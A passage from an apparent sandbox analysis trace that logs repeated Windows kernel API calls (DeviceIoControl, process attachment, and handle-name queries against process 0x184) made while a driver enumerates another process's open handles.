PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.528] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001984fc0, HandleInformation=0x0) returned 0x0 [0103.529] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.529] PsReleaseProcessExitSynchronization () returned 0x2 [0103.529] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.529] ObQueryNameString (in: Object=0xfffff8a001984fc0, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.529] ObfDereferenceObject (Object=0xfffff8a001984fc0) returned 0x1 [0103.529] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.529] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.529] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.529] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.529] PsAcquireProcessExitSynchronization () returned 0x0 [0103.529] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.529] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0016d4ba0, HandleInformation=0x0) returned 0x0 [0103.529] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.529] PsReleaseProcessExitSynchronization () returned 0x2 [0103.529] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.529] ObQueryNameString (in: Object=0xfffff8a0016d4ba0, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.529] ObfDereferenceObject (Object=0xfffff8a0016d4ba0) returned 0x1 [0103.529] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.529] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.529] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.529] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.529] PsAcquireProcessExitSynchronization () returned 0x0 [0103.529] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.529] ObReferenceObjectByHandle (in: Handle=0x220, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0016e6060, HandleInformation=0x0) returned 0x0 [0103.529] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.530] PsReleaseProcessExitSynchronization () returned 0x2 [0103.530] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.530] ObQueryNameString (in: Object=0xfffff8a0016e6060, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.530] ObfDereferenceObject (Object=0xfffff8a0016e6060) returned 0x1 [0103.530] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.530] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.530] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.530] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.530] PsAcquireProcessExitSynchronization () returned 0x0 [0103.530] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.530] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001504170, HandleInformation=0x0) returned 0x0 [0103.530] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.530] PsReleaseProcessExitSynchronization () returned 0x2 [0103.530] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.530] ObQueryNameString (in: Object=0xfffff8a001504170, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.530] ObfDereferenceObject (Object=0xfffff8a001504170) returned 0x1 [0103.530] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.530] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.530] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.530] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.530] PsAcquireProcessExitSynchronization () returned 0x0 [0103.530] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.530] ObReferenceObjectByHandle (in: Handle=0x22c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001a2cd30, HandleInformation=0x0) returned 0x0 [0103.530] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.530] PsReleaseProcessExitSynchronization () returned 0x2 [0103.530] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.530] ObQueryNameString (in: Object=0xfffff8a001a2cd30, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.530] ObfDereferenceObject (Object=0xfffff8a001a2cd30) returned 0x1 [0103.530] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.531] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.531] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.531] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.531] PsAcquireProcessExitSynchronization () returned 0x0 [0103.531] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.531] ObReferenceObjectByHandle (in: Handle=0x230, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001a5e540, HandleInformation=0x0) returned 0x0 [0103.531] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.531] PsReleaseProcessExitSynchronization () returned 0x2 [0103.531] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.531] ObQueryNameString (in: Object=0xfffff8a001a5e540, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.531] ObfDereferenceObject (Object=0xfffff8a001a5e540) returned 0x1 [0103.531] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.531] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.531] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.531] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.531] PsAcquireProcessExitSynchronization () returned 0x0 [0103.531] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.531] ObReferenceObjectByHandle (in: Handle=0x240, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001703f70, HandleInformation=0x0) returned 0x0 [0103.531] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.531] PsReleaseProcessExitSynchronization () returned 0x2 [0103.531] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.531] ObQueryNameString (in: Object=0xfffff8a001703f70, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.531] ObfDereferenceObject (Object=0xfffff8a001703f70) returned 0x1 [0103.531] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.531] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.531] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.531] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.531] PsAcquireProcessExitSynchronization () returned 0x0 [0103.531] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.532] ObReferenceObjectByHandle (in: Handle=0x248, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001b65390, HandleInformation=0x0) returned 0x0 [0103.532] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.532] PsReleaseProcessExitSynchronization () returned 0x2 [0103.532] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.532] ObQueryNameString (in: Object=0xfffff8a001b65390, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.532] ObfDereferenceObject (Object=0xfffff8a001b65390) returned 0x1 [0103.532] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.532] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.532] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.532] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0103.532] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.532] PsAcquireProcessExitSynchronization () returned 0x0 [0103.532] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.532] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800348e200, HandleInformation=0x0) returned 0x0 [0103.532] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.532] PsReleaseProcessExitSynchronization () returned 0x2 [0103.532] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.532] ObQueryNameString (in: Object=0xfffffa800348e200, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.532] ObfDereferenceObject (Object=0xfffffa800348e200) returned 0x2 [0103.532] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.532] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.532] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.532] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.532] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.532] PsAcquireProcessExitSynchronization () returned 0x0 [0103.532] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.532] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001aa6d40, HandleInformation=0x0) returned 0x0 [0103.532] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.532] PsReleaseProcessExitSynchronization () returned 0x2 [0103.532] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.533] ObQueryNameString (in: Object=0xfffff8a001aa6d40, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.533] ObfDereferenceObject (Object=0xfffff8a001aa6d40) returned 0x1 [0103.533] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.533] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.533] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.533] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.533] PsAcquireProcessExitSynchronization () returned 0x0 [0103.533] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.533] ObReferenceObjectByHandle (in: Handle=0x254, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001aaed80, HandleInformation=0x0) returned 0x0 [0103.533] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.533] PsReleaseProcessExitSynchronization () returned 0x2 [0103.533] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.533] ObQueryNameString (in: Object=0xfffff8a001aaed80, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.533] ObfDereferenceObject (Object=0xfffff8a001aaed80) returned 0x1 [0103.533] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.533] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.533] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.533] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.533] PsAcquireProcessExitSynchronization () returned 0x0 [0103.533] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.533] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001aae1f0, HandleInformation=0x0) returned 0x0 [0103.533] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.533] PsReleaseProcessExitSynchronization () returned 0x2 [0103.533] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.533] ObQueryNameString (in: Object=0xfffff8a001aae1f0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.533] ObfDereferenceObject (Object=0xfffff8a001aae1f0) returned 0x1 [0103.533] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.533] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.534] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.534] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.534] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.534] PsAcquireProcessExitSynchronization () returned 0x0 [0103.534] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.534] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001aacfc0, HandleInformation=0x0) returned 0x0 [0103.534] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.534] PsReleaseProcessExitSynchronization () returned 0x2 [0103.534] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.534] ObQueryNameString (in: Object=0xfffff8a001aacfc0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.534] ObfDereferenceObject (Object=0xfffff8a001aacfc0) returned 0x1 [0103.534] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.534] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.534] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.534] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.534] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.534] PsAcquireProcessExitSynchronization () returned 0x0 [0103.534] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.534] ObReferenceObjectByHandle (in: Handle=0x268, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001aad6f0, HandleInformation=0x0) returned 0x0 [0103.534] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.534] PsReleaseProcessExitSynchronization () returned 0x2 [0103.534] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.534] ObQueryNameString (in: Object=0xfffff8a001aad6f0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.534] ObfDereferenceObject (Object=0xfffff8a001aad6f0) returned 0x1 [0103.534] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.535] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.535] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.535] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.535] PsAcquireProcessExitSynchronization () returned 0x0 [0103.535] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.535] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0012500e0, HandleInformation=0x0) returned 0x0 [0103.535] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.535] PsReleaseProcessExitSynchronization () returned 0x2 [0103.535] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.535] ObQueryNameString (in: Object=0xfffff8a0012500e0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.535] ObfDereferenceObject (Object=0xfffff8a0012500e0) returned 0x1 [0103.535] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.535] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.535] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.535] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.535] PsAcquireProcessExitSynchronization () returned 0x0 [0103.535] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.535] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00206f1f0, HandleInformation=0x0) returned 0x0 [0103.535] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.535] PsReleaseProcessExitSynchronization () returned 0x2 [0103.535] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.535] ObQueryNameString (in: Object=0xfffff8a00206f1f0, ObjectNameInfo=0xfffffa8002813044, 